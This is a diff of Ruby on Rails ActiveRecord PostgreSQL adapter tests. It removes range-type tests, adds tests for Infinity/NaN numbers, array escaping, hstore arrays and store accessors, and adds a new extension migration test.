-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '(''2012-01-02'',]',
-      '[0.1,]',
-      '[''2010-01-01 14:30'',]',
-      '[''2010-01-01 14:30:00+05'',]',
-      '(1,]',
-      '(10,]'
-    )
-_SQL
-
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '[,]',
-      '[,]',
-      '[,]',
-      '[,]',
-      '[,]',
-      '[,]'
-    )
-_SQL
-
-    @connection.execute <<_SQL if @connection.supports_ranges?
-    INSERT INTO postgresql_ranges (
-      date_range,
-      num_range,
-      ts_range,
-      tstz_range,
-      int4_range,
-      int8_range
-    ) VALUES (
-      '(''2012-01-02'', ''2012-01-02'')',
-      '(0.1, 0.1)',
-      '(''2010-01-01 14:30'', ''2010-01-01 14:30'')',
-      '(''2010-01-01 14:30:00+05'', ''2010-01-01 06:30:00-03'')',
-      '(1, 1)',
-      '(10, 10)'
-    )
-_SQL
-
-    if @connection.supports_ranges?
-      @first_range = PostgresqlRange.find(1)
-      @second_range = PostgresqlRange.find(2)
-      @third_range = PostgresqlRange.find(3)
-      @fourth_range = PostgresqlRange.find(4)
-      @empty_range = PostgresqlRange.find(5)
-    end
-
     @connection.execute("INSERT INTO postgresql_tsvectors (id, text_vector) VALUES (1, ' ''text'' ''vector'' ')")
 
     @first_tsvector = PostgresqlTsvector.find(1)
@@ -154,7 +53,11 @@ _SQL
     @second_money = PostgresqlMoney.find(2)
 
     @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (1, 123.456, 123456.789)")
+    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (2, '-Infinity', 'Infinity')")
+    @connection.execute("INSERT INTO postgresql_numbers (id, single, double) VALUES (3, 123.456, 'NaN')")
     @first_number = PostgresqlNumber.find(1)
+    @second_number = PostgresqlNumber.find(2)
+    @third_number = PostgresqlNumber.find(3)
 
     @connection.execute("INSERT INTO postgresql_times (id, time_interval, scaled_time_interval) VALUES (1, '1 year 2 days ago', '3 weeks ago')")
     @first_time = PostgresqlTime.find(1)
@@ -179,21 +82,19 @@ _SQL
      PostgresqlBitString, PostgresqlOid, PostgresqlTimestampWithZone, PostgresqlUUID].each(&:delete_all)
   end
 
+  def test_array_escaping
+    unknown = %(foo\\",bar,baz,\\)
+    nicknames = ["hello_#{unknown}"]
+    ar = PostgresqlArray.create!(nicknames: nicknames, id: 100)
+    ar.reload
+    assert_equal nicknames, ar.nicknames
+  end
+
   def test_data_type_of_array_types
     assert_equal :integer, @first_array.column_for_attribute(:commission_by_quarter).type
     assert_equal :text, @first_array.column_for_attribute(:nicknames).type
   end
 
-  def test_data_type_of_range_types
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal :daterange, @first_range.column_for_attribute(:date_range).type
-    assert_equal :numrange, @first_range.column_for_attribute(:num_range).type
-    assert_equal :tsrange, @first_range.column_for_attribute(:ts_range).type
-    assert_equal :tstzrange, @first_range.column_for_attribute(:tstz_range).type
-    assert_equal :int4range, @first_range.column_for_attribute(:int4_range).type
-    assert_equal :int8range, @first_range.column_for_attribute(:int8_range).type
-  end
-
   def test_data_type_of_tsvector_types
     assert_equal :tsvector, @first_tsvector.column_for_attribute(:text_vector).type
   end
@@ -240,59 +141,6 @@ _SQL
     assert_equal "'text' 'vector'", @first_tsvector.text_vector
   end
 
-  def test_int4range_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal 1...11, @first_range.int4_range
-    assert_equal 2...10, @second_range.int4_range
-    assert_equal 2...Float::INFINITY, @third_range.int4_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int4_range)
-    assert_equal nil, @empty_range.int4_range
-  end
-
-  def test_int8range_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal 10...101, @first_range.int8_range
-    assert_equal 11...100, @second_range.int8_range
-    assert_equal 11...Float::INFINITY, @third_range.int8_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.int8_range)
-    assert_equal nil, @empty_range.int8_range
-  end
-
-  def test_daterange_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal Date.new(2012, 1, 2)...Date.new(2012, 1, 5), @first_range.date_range
-    assert_equal Date.new(2012, 1, 3)...Date.new(2012, 1, 4), @second_range.date_range
-    assert_equal Date.new(2012, 1, 3)...Float::INFINITY, @third_range.date_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.date_range)
-    assert_equal nil, @empty_range.date_range
-  end
-
-  def test_numrange_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal BigDecimal.new('0.1')..BigDecimal.new('0.2'), @first_range.num_range
-    assert_equal BigDecimal.new('0.1')...BigDecimal.new('0.2'), @second_range.num_range
-    assert_equal BigDecimal.new('0.1')...BigDecimal.new('Infinity'), @third_range.num_range
-    assert_equal BigDecimal.new('-Infinity')...BigDecimal.new('Infinity'), @fourth_range.num_range
-    assert_equal nil, @empty_range.num_range
-  end
-
-  def test_tsrange_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    tz = ::ActiveRecord::Base.default_timezone
-    assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)..Time.send(tz, 2011, 1, 1, 14, 30, 0), @first_range.ts_range
-    assert_equal Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 1, 1, 14, 30, 0), @second_range.ts_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.ts_range)
-    assert_equal nil, @empty_range.ts_range
-  end
-
-  def test_tstzrange_values
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    assert_equal Time.parse('2010-01-01 09:30:00 UTC')..Time.parse('2011-01-01 17:30:00 UTC'), @first_range.tstz_range
-    assert_equal Time.parse('2010-01-01 09:30:00 UTC')...Time.parse('2011-01-01 17:30:00 UTC'), @second_range.tstz_range
-    assert_equal(-Float::INFINITY...Float::INFINITY, @fourth_range.tstz_range)
-    assert_equal nil, @empty_range.tstz_range
-  end
-
   def test_money_values
     assert_equal 567.89, @first_money.wealth
     assert_equal(-567.89, @second_money.wealth)
@@ -306,155 +154,23 @@ _SQL
     assert_equal(-2.25, column.type_cast("($2.25)"))
   end
 
-  def test_create_tstzrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    tstzrange = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2011-02-02 14:30:00 CDT')
-    range = PostgresqlRange.new(:tstz_range => tstzrange)
-    assert range.save
-    assert range.reload
-    assert_equal range.tstz_range, tstzrange
-    assert_equal range.tstz_range, Time.parse('2010-01-01 13:30:00 UTC')...Time.parse('2011-02-02 19:30:00 UTC')
-  end
-
-  def test_update_tstzrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_tstzrange = Time.parse('2010-01-01 14:30:00 CDT')...Time.parse('2011-02-02 14:30:00 CET')
-    assert @first_range.tstz_range = new_tstzrange
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.tstz_range, new_tstzrange
-    assert @first_range.tstz_range = Time.parse('2010-01-01 14:30:00 +0100')...Time.parse('2010-01-01 13:30:00 +0000')
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.tstz_range, nil
-  end
-
-  def test_create_tsrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    tz = ::ActiveRecord::Base.default_timezone
-    tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
-    range = PostgresqlRange.new(:ts_range => tsrange)
-    assert range.save
-    assert range.reload
-    assert_equal range.ts_range, tsrange
-  end
-
-  def test_update_tsrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    tz = ::ActiveRecord::Base.default_timezone
-    new_tsrange = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2011, 2, 2, 14, 30, 0)
-    assert @first_range.ts_range = new_tsrange
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.ts_range, new_tsrange
-    assert @first_range.ts_range = Time.send(tz, 2010, 1, 1, 14, 30, 0)...Time.send(tz, 2010, 1, 1, 14, 30, 0)
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.ts_range, nil
-  end
-
-  def test_create_numrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
-    range = PostgresqlRange.new(:num_range => numrange)
-    assert range.save
-    assert range.reload
-    assert_equal range.num_range, numrange
-  end
-
-  def test_update_numrange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_numrange = BigDecimal.new('0.5')...BigDecimal.new('1')
-    assert @first_range.num_range = new_numrange
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.num_range, new_numrange
-    assert @first_range.num_range = BigDecimal.new('0.5')...BigDecimal.new('0.5')
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.num_range, nil
-  end
-
-  def test_create_daterange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    daterange = Range.new(Date.new(2012, 1, 1), Date.new(2013, 1, 1), true)
-    range = PostgresqlRange.new(:date_range => daterange)
-    assert range.save
-    assert range.reload
-    assert_equal range.date_range, daterange
-  end
-
-  def test_update_daterange
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_daterange = Date.new(2012, 2, 3)...Date.new(2012, 2, 10)
-    assert @first_range.date_range = new_daterange
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.date_range, new_daterange
-    assert @first_range.date_range = Date.new(2012, 2, 3)...Date.new(2012, 2, 3)
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.date_range, nil
-  end
-
-  def test_create_int4range
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    int4range = Range.new(3, 50, true)
-    range = PostgresqlRange.new(:int4_range => int4range)
-    assert range.save
-    assert range.reload
-    assert_equal range.int4_range, int4range
-  end
-
-  def test_update_int4range
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_int4range = 6...10
-    assert @first_range.int4_range = new_int4range
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.int4_range, new_int4range
-    assert @first_range.int4_range = 3...3
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.int4_range, nil
-  end
-
-  def test_create_int8range
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    int8range = Range.new(30, 50, true)
-    range = PostgresqlRange.new(:int8_range => int8range)
-    assert range.save
-    assert range.reload
-    assert_equal range.int8_range, int8range
-  end
-
-  def test_update_int8range
-    skip "PostgreSQL 9.2 required for range datatypes" unless @connection.supports_ranges?
-    new_int8range = 60000...10000000
-    assert @first_range.int8_range = new_int8range
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.int8_range, new_int8range
-    assert @first_range.int8_range = 39999...39999
-    assert @first_range.save
-    assert @first_range.reload
-    assert_equal @first_range.int8_range, nil
-  end
-
   def test_update_tsvector
     new_text_vector = "'new' 'text' 'vector'"
-    assert @first_tsvector.text_vector = new_text_vector
+    @first_tsvector.text_vector = new_text_vector
     assert @first_tsvector.save
     assert @first_tsvector.reload
-    assert @first_tsvector.text_vector = new_text_vector
+    @first_tsvector.text_vector = new_text_vector
     assert @first_tsvector.save
     assert @first_tsvector.reload
-    assert_equal @first_tsvector.text_vector, new_text_vector
+    assert_equal new_text_vector, @first_tsvector.text_vector
   end
 
   def test_number_values
     assert_equal 123.456, @first_number.single
     assert_equal 123456.789, @first_number.double
+    assert_equal -::Float::INFINITY, @second_number.single
+    assert_equal ::Float::INFINITY, @second_number.double
+    assert_same ::Float::NAN, @third_number.double
   end
 
   def test_time_values
@@ -487,31 +203,31 @@ _SQL
 
   def test_update_integer_array
     new_value = [32800,95000,29350,17000]
-    assert @first_array.commission_by_quarter = new_value
+    @first_array.commission_by_quarter = new_value
     assert @first_array.save
     assert @first_array.reload
-    assert_equal @first_array.commission_by_quarter, new_value
-    assert @first_array.commission_by_quarter = new_value
+    assert_equal new_value, @first_array.commission_by_quarter
+    @first_array.commission_by_quarter = new_value
     assert @first_array.save
     assert @first_array.reload
-    assert_equal @first_array.commission_by_quarter, new_value
+    assert_equal new_value, @first_array.commission_by_quarter
   end
 
   def test_update_text_array
     new_value = ['robby','robert','rob','robbie']
-    assert @first_array.nicknames = new_value
+    @first_array.nicknames = new_value
     assert @first_array.save
     assert @first_array.reload
-    assert_equal @first_array.nicknames, new_value
-    assert @first_array.nicknames = new_value
+    assert_equal new_value, @first_array.nicknames
+    @first_array.nicknames = new_value
     assert @first_array.save
     assert @first_array.reload
-    assert_equal @first_array.nicknames, new_value
+    assert_equal new_value, @first_array.nicknames
   end
 
   def test_update_money
     new_value = BigDecimal.new('123.45')
-    assert @first_money.wealth = new_value
+    @first_money.wealth = new_value
     assert @first_money.save
     assert @first_money.reload
     assert_equal new_value, @first_money.wealth
@@ -520,28 +236,28 @@ _SQL
   def test_update_number
     new_single = 789.012
     new_double = 789012.345
-    assert @first_number.single = new_single
-    assert @first_number.double = new_double
+    @first_number.single = new_single
+    @first_number.double = new_double
     assert @first_number.save
     assert @first_number.reload
-    assert_equal @first_number.single, new_single
-    assert_equal @first_number.double, new_double
+    assert_equal new_single, @first_number.single
+    assert_equal new_double, @first_number.double
   end
 
   def test_update_time
-    assert @first_time.time_interval = '2 years 3 minutes'
+    @first_time.time_interval = '2 years 3 minutes'
     assert @first_time.save
     assert @first_time.reload
-    assert_equal @first_time.time_interval, '2 years 00:03:00'
+    assert_equal '2 years 00:03:00', @first_time.time_interval
   end
 
   def test_update_network_address
     new_inet_address = '10.1.2.3/32'
     new_cidr_address = '10.0.0.0/8'
     new_mac_address = 'bc:de:f0:12:34:56'
-    assert @first_network_address.cidr_address = new_cidr_address
-    assert @first_network_address.inet_address = new_inet_address
-    assert @first_network_address.mac_address = new_mac_address
+    @first_network_address.cidr_address = new_cidr_address
+    @first_network_address.inet_address = new_inet_address
+    @first_network_address.mac_address = new_mac_address
     assert @first_network_address.save
     assert @first_network_address.reload
     assert_equal @first_network_address.cidr_address, new_cidr_address
@@ -552,61 +268,65 @@ _SQL
   def test_update_bit_string
     new_bit_string = '11111111'
     new_bit_string_varying = '0xFF'
-    assert @first_bit_string.bit_string = new_bit_string
-    assert @first_bit_string.bit_string_varying = new_bit_string_varying
+    @first_bit_string.bit_string = new_bit_string
+    @first_bit_string.bit_string_varying = new_bit_string_varying
     assert @first_bit_string.save
     assert @first_bit_string.reload
-    assert_equal @first_bit_string.bit_string, new_bit_string
+    assert_equal new_bit_string, @first_bit_string.bit_string
     assert_equal @first_bit_string.bit_string, @first_bit_string.bit_string_varying
   end
-	
+
   def test_invalid_hex_string
     new_bit_string = 'FF'
     @first_bit_string.bit_string = new_bit_string
     assert_raise(ActiveRecord::StatementInvalid) { assert @first_bit_string.save }
   end
 
+  def test_invalid_network_address
+    @first_network_address.cidr_address = 'invalid addr'
+    assert_nil @first_network_address.cidr_address
+    assert_equal 'invalid addr', @first_network_address.cidr_address_before_type_cast
+    assert @first_network_address.save
+
+    @first_network_address.reload
+
+    @first_network_address.inet_address = 'invalid addr'
+    assert_nil @first_network_address.inet_address
+    assert_equal 'invalid addr', @first_network_address.inet_address_before_type_cast
+    assert @first_network_address.save
+  end
+
   def test_update_oid
     new_value = 567890
-    assert @first_oid.obj_id = new_value
+    @first_oid.obj_id = new_value
     assert @first_oid.save
     assert @first_oid.reload
-    assert_equal @first_oid.obj_id, new_value
+    assert_equal new_value, @first_oid.obj_id
   end
 
   def test_timestamp_with_zone_values_with_rails_time_zone_support
-    old_tz         = ActiveRecord::Base.time_zone_aware_attributes
-    old_default_tz = ActiveRecord::Base.default_timezone
+    with_timezone_config default: :utc, aware_attributes: true do
+      @connection.reconnect!
 
-    ActiveRecord::Base.time_zone_aware_attributes = true
-    ActiveRecord::Base.default_timezone = :utc
-
-    @connection.reconnect!
-
-    @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
-    assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
-    assert_instance_of Time, @first_timestamp_with_zone.time
+      @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
+      assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
+      assert_instance_of Time, @first_timestamp_with_zone.time
+    end
   ensure
-    ActiveRecord::Base.default_timezone = old_default_tz
-    ActiveRecord::Base.time_zone_aware_attributes = old_tz
     @connection.reconnect!
   end
 
   def test_timestamp_with_zone_values_without_rails_time_zone_support
-    old_tz         = ActiveRecord::Base.time_zone_aware_attributes
-    old_default_tz = ActiveRecord::Base.default_timezone
-
-    ActiveRecord::Base.time_zone_aware_attributes = false
-    ActiveRecord::Base.default_timezone = :local
-
-    @connection.reconnect!
-
-    @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
-    assert_equal Time.local(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
-    assert_instance_of Time, @first_timestamp_with_zone.time
+    with_timezone_config default: :local, aware_attributes: false do
+      @connection.reconnect!
+      # make sure to use a non-UTC time zone
+      @connection.execute("SET time zone 'America/Jamaica'", 'SCHEMA')
+
+      @first_timestamp_with_zone = PostgresqlTimestampWithZone.find(1)
+      assert_equal Time.utc(2010,1,1, 11,0,0), @first_timestamp_with_zone.time
+      assert_instance_of Time, @first_timestamp_with_zone.time
+    end
   ensure
-    ActiveRecord::Base.default_timezone = old_default_tz
-    ActiveRecord::Base.time_zone_aware_attributes = old_tz
     @connection.reconnect!
   end
 end
diff --git a/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
new file mode 100644
index 0000000..91058f8
--- /dev/null
+++ b/activerecord/test/cases/adapters/postgresql/extension_migration_test.rb
@@ -0,0 +1,65 @@
+require "cases/helper"
+require "active_record/base"
+require "active_record/connection_adapters/postgresql_adapter"
+
+class PostgresqlExtensionMigrationTest < ActiveRecord::TestCase
+  self.use_transactional_fixtures = false
+
+  class EnableHstore < ActiveRecord::Migration
+    def change
+      enable_extension "hstore"
+    end
+  end
+
+  class DisableHstore < ActiveRecord::Migration
+    def change
+      disable_extension "hstore"
+    end
+  end
+
+  def setup
+    super
+
+    @connection = ActiveRecord::Base.connection
+
+    unless @connection.supports_extensions?
+      return skip("no extension support")
+    end
+
+    @old_schema_migration_tabel_name = ActiveRecord::SchemaMigration.table_name
+    @old_tabel_name_prefix = ActiveRecord::Base.table_name_prefix
+    @old_tabel_name_suffix = ActiveRecord::Base.table_name_suffix
+
+    ActiveRecord::Base.table_name_prefix = "p_"
+    ActiveRecord::Base.table_name_suffix = "_s"
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::SchemaMigration.table_name = "p_schema_migrations_s"
+    ActiveRecord::Migration.verbose = false
+  end
+
+  def teardown
+    ActiveRecord::Base.table_name_prefix = @old_tabel_name_prefix
+    ActiveRecord::Base.table_name_suffix = @old_tabel_name_suffix
+    ActiveRecord::SchemaMigration.delete_all rescue nil
+    ActiveRecord::Migration.verbose = true
+    ActiveRecord::SchemaMigration.table_name = @old_schema_migration_tabel_name
+
+    super
+  end
+
+  def test_enable_extension_migration_ignores_prefix_and_suffix
+    @connection.disable_extension("hstore")
+
+    migrations = [EnableHstore.new(nil, 1)]
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert @connection.extension_enabled?("hstore"), "extension hstore should be enabled"
+  end
+
+  def test_disable_extension_migration_ignores_prefix_and_suffix
+    @connection.enable_extension("hstore")
+
+    migrations = [DisableHstore.new(nil, 1)]
+    ActiveRecord::Migrator.new(:up, migrations).migrate
+    assert_not @connection.extension_enabled?("hstore"), "extension hstore should not be enabled"
+  end
+end
diff --git a/activerecord/test/cases/adapters/postgresql/hstore_test.rb b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
index e434b48..f250243 100644
--- a/activerecord/test/cases/adapters/postgresql/hstore_test.rb
+++ b/activerecord/test/cases/adapters/postgresql/hstore_test.rb
@@ -7,15 +7,13 @@ require 'active_record/connection_adapters/postgresql_adapter'
 class PostgresqlHstoreTest < ActiveRecord::TestCase
   class Hstore < ActiveRecord::Base
     self.table_name = 'hstores'
+
+    store_accessor :settings, :language, :timezone
   end
 
   def setup
     @connection = ActiveRecord::Base.connection
 
-    unless @connection.supports_extensions?
-      return skip "do not test on PG without hstore"
-    end
-
     unless @connection.extension_enabled?('hstore')
       @connection.enable_extension 'hstore'
       @connection.commit_db_transaction
@@ -26,6 +24,8 @@ class PostgresqlHstoreTest < ActiveRecord::TestCase
     @connection.transaction do
       @connection.create_table('hstores') do |t|
         t.hstore 'tags', :default => ''
+        t.hstore 'payload', array: true
+        t.hstore 'settings'
       end
     end
     @column = Hstore.columns.find { |c| c.name == 'tags' }
@@ -35,166 +35,258 @@ class PostgresqlHstoreTest < ActiveRecord::TestCase
     @connection.execute 'drop table if exists hstores'
   end
 
-  def test_hstore_included_in_extensions
-    assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
-    assert @connection.extensions.include?('hstore'), "extension list should include hstore"
-  end
+  if ActiveRecord::Base.connection.supports_extensions?
+    def test_hstore_included_in_extensions
+      assert @connection.respond_to?(:extensions), "connection should have a list of extensions"
+      assert @connection.extensions.include?('hstore'), "extension list should include hstore"
+    end
 
-  def test_disable_enable_hstore
-    assert @connection.extension_enabled?('hstore')
-    @connection.disable_extension 'hstore'
-    assert_not @connection.extension_enabled?('hstore')
-    @connection.enable_extension 'hstore'
-    assert @connection.extension_enabled?('hstore')
-  ensure
-    # Restore column(s) dropped by `drop extension hstore cascade;`
-    load_schema
-  end
+    def test_disable_enable_hstore
+      assert @connection.extension_enabled?('hstore')
+      @connection.disable_extension 'hstore'
+      assert_not @connection.extension_enabled?('hstore')
+      @connection.enable_extension 'hstore'
+      assert @connection.extension_enabled?('hstore')
+    ensure
+      # Restore column(s) dropped by `drop extension hstore cascade;`
+      load_schema
+    end
 
-  def test_column
-    assert_equal :hstore, @column.type
-  end
+    def test_column
+      assert_equal :hstore, @column.type
+    end
 
-  def test_change_table_supports_hstore
-    @connection.transaction do
-      @connection.change_table('hstores') do |t|
-        t.hstore 'users', default: ''
+    def test_change_table_supports_hstore
+      @connection.transaction do
+        @connection.change_table('hstores') do |t|
+          t.hstore 'users', default: ''
+        end
+        Hstore.reset_column_information
+        column = Hstore.columns.find { |c| c.name == 'users' }
+        assert_equal :hstore, column.type
+
+        raise ActiveRecord::Rollback # reset the schema change
       end
+    ensure
       Hstore.reset_column_information
-      column = Hstore.columns.find { |c| c.name == 'users' }
-      assert_equal :hstore, column.type
+    end
+
+    def test_hstore_migration
+      hstore_migration = Class.new(ActiveRecord::Migration) do
+        def change
+          change_table("hstores") do |t|
+            t.hstore :keys
+          end
+        end
+      end
 
-      raise ActiveRecord::Rollback # reset the schema change
+      hstore_migration.new.suppress_messages do
+        hstore_migration.migrate(:up)
+        assert_includes @connection.columns(:hstores).map(&:name), "keys"
+        hstore_migration.migrate(:down)
+        assert_not_includes @connection.columns(:hstores).map(&:name), "keys"
+      end
     end
-  ensure
-    Hstore.reset_column_information
-  end
 
-  def test_type_cast_hstore
-    assert @column
+    def test_cast_value_on_write
+      x = Hstore.new tags: {"bool" => true, "number" => 5}
+      assert_equal({"bool" => "true", "number" => "5"}, x.tags)
+      x.save
+      assert_equal({"bool" => "true", "number" => "5"}, x.reload.tags)
+    end
 
-    data = "\"1\"=>\"2\""
-    hash = @column.class.string_to_hstore data
-    assert_equal({'1' => '2'}, hash)
-    assert_equal({'1' => '2'}, @column.type_cast(data))
+    def test_type_cast_hstore
+      assert @column
 
-    assert_equal({}, @column.type_cast(""))
-    assert_equal({'key'=>nil}, @column.type_cast('key => NULL'))
-    assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q(c=>"}", "\"a\""=>"b \"a b")))
-  end
+      data = "\"1\"=>\"2\""
+      hash = @column.class.string_to_hstore data
+      assert_equal({'1' => '2'}, hash)
+      assert_equal({'1' => '2'}, @column.type_cast(data))
 
-  def test_gen1
-    assert_equal(%q(" "=>""), @column.class.hstore_to_string({' '=>''}))
-  end
+      assert_equal({}, @column.type_cast(""))
+      assert_equal({'key'=>nil}, @column.type_cast('key => NULL'))
+      assert_equal({'c'=>'}','"a"'=>'b "a b'}, @column.type_cast(%q(c=>"}", "\"a\""=>"b \"a b")))
+    end
 
-  def test_gen2
-    assert_equal(%q(","=>""), @column.class.hstore_to_string({','=>''}))
-  end
+    def test_with_store_accessors
+      x = Hstore.new(language: "fr", timezone: "GMT")
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
 
-  def test_gen3
-    assert_equal(%q("="=>""), @column.class.hstore_to_string({'='=>''}))
-  end
+      x.save!
+      x = Hstore.first
+      assert_equal "fr", x.language
+      assert_equal "GMT", x.timezone
 
-  def test_gen4
-    assert_equal(%q(">"=>""), @column.class.hstore_to_string({'>'=>''}))
-  end
+      x.language = "de"
+      x.save!
 
-  def test_parse1
-    assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
-  end
+      x = Hstore.first
+      assert_equal "de", x.language
+      assert_equal "GMT", x.timezone
+    end
 
-  def test_parse2
-    assert_equal({" " => " "},  @column.type_cast("\\ =>\\ "))
-  end
+    def test_gen1
+      assert_equal(%q(" "=>""), @column.class.hstore_to_string({' '=>''}))
+    end
 
-  def test_parse3
-    assert_equal({"=" => ">"},  @column.type_cast("==>>"))
-  end
+    def test_gen2
+      assert_equal(%q(","=>""), @column.class.hstore_to_string({','=>''}))
+    end
 
-  def test_parse4
-    assert_equal({"=a"=>"q=w"},   @column.type_cast('\=a=>q=w'))
-  end
+    def test_gen3
+      assert_equal(%q("="=>""), @column.class.hstore_to_string({'='=>''}))
+    end
 
-  def test_parse5
-    assert_equal({"=a"=>"q=w"},   @column.type_cast('"=a"=>q\=w'))
-  end
+    def test_gen4
+      assert_equal(%q(">"=>""), @column.class.hstore_to_string({'>'=>''}))
+    end
 
-  def test_parse6
-    assert_equal({"\"a"=>"q>w"},  @column.type_cast('"\"a"=>q>w'))
-  end
+    def test_parse1
+      assert_equal({'a'=>nil,'b'=>nil,'c'=>'NuLl','null'=>'c'}, @column.type_cast('a=>null,b=>NuLl,c=>"NuLl",null=>c'))
+    end
 
-  def test_parse7
-    assert_equal({"\"a"=>"q\"w"}, @column.type_cast('\"a=>q"w'))
-  end
+    def test_parse2
+      assert_equal({" " => " "},  @column.type_cast("\\ =>\\ "))
+    end
 
-  def test_rewrite
-    @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
-    x = Hstore.first
-    x.tags = { '"a\'' => 'b' }
-    assert x.save!
-  end
+    def test_parse3
+      assert_equal({"=" => ">"},  @column.type_cast("==>>"))
+    end
 
+    def test_parse4
+      assert_equal({"=a"=>"q=w"},   @column.type_cast('\=a=>q=w'))
+    end
 
-  def test_select
-    @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
-    x = Hstore.first
-    assert_equal({'1' => '2'}, x.tags)
-  end
+    def test_parse5
+      assert_equal({"=a"=>"q=w"},   @column.type_cast('"=a"=>q\=w'))
+    end
 
-  def test_select_multikey
-    @connection.execute "insert into hstores (tags) VALUES ('1=>2,2=>3')"
-    x = Hstore.first
-    assert_equal({'1' => '2', '2' => '3'}, x.tags)
-  end
+    def test_parse6
+      assert_equal({"\"a"=>"q>w"},  @column.type_cast('"\"a"=>q>w'))
+    end
 
-  def test_create
-    assert_cycle('a' => 'b', '1' => '2')
-  end
+    def test_parse7
+      assert_equal({"\"a"=>"q\"w"}, @column.type_cast('\"a=>q"w'))
+    end
 
-  def test_nil
-    assert_cycle('a' => nil)
-  end
+    def test_rewrite
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+      x = Hstore.first
+      x.tags = { '"a\'' => 'b' }
+      assert x.save!
+    end
 
-  def test_quotes
-    assert_cycle('a' => 'b"ar', '1"foo' => '2')
-  end
+    def test_select
+      @connection.execute "insert into hstores (tags) VALUES ('1=>2')"
+      x = Hstore.first
+      assert_equal({'1' => '2'}, x.tags)
+    end
 
-  def test_whitespace
-    assert_cycle('a b' => 'b ar', '1"foo' => '2')
-  end
+    def test_array_cycle
+      assert_array_cycle([{"AA" => "BB", "CC" => "DD"}, {"AA" => nil}])
+    end
 
-  def test_backslash
-    assert_cycle('a\\b' => 'b\\ar', '1"foo' => '2')
-  end
+    def test_array_strings_with_quotes
+      assert_array_cycle([{'this has' => 'some "s that need to be escaped"'}])
+    end
 
-  def test_comma
-    assert_cycle('a, b' => 'bar', '1"foo' => '2')
-  end
+    def test_array_strings_with_commas
+      assert_array_cycle([{'this,has' => 'many,values'}])
+    end
 
-  def test_arrow
-    assert_cycle('a=>b' => 'bar', '1"foo' => '2')
-  end
+    def test_array_strings_with_array_delimiters
+      assert_array_cycle(['{' => '}'])
+    end
 
-  def test_quoting_special_characters
